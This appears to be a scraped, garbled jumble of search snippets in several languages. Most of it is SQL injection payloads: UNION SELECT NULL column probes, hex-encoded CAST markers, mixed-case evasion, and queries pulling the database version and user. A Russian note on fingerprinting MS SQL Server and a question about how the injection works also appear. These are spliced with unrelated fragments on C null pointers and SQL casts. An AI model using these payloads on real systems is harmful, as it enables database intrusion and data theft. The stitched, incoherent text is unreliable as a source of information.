Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
9' union all select cast(0x393133353134353632312e39 as char) and '0'0 here. ...
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
Best Result For : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char --. تفسير فرط السبحة في المنام.
...NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT%28version(),0x3a,user
as char) and(0=0 поиск видео вконтакте php'1111111111111 union select char(45,120,49,45,81,45) -- /* раззелтон999999.1 union select unhex(hex(version())) -- and 1=1 мен әжемін олен and
A null pointer constant, when used in a context that requires a pointer, may be implicitly converted to a pointer value; the result is a null pointer. It may also be explicitly converted using a cast, such as (int*)NULL. But there's no requirement that an expression that qualifies as a null pointer constant...
It should be noted that NULL pointer is different from an uninitialized and dangling pointer. In a specific program context, all uninitialized
Select cast ('365' as int); можно записать менее громоздко
Как и в случае с обычными переменными, указатели не инициализируются при создании. Если значение не было присвоено, то указатель по умолчанию будет указывать на любой адрес, содержимым которого...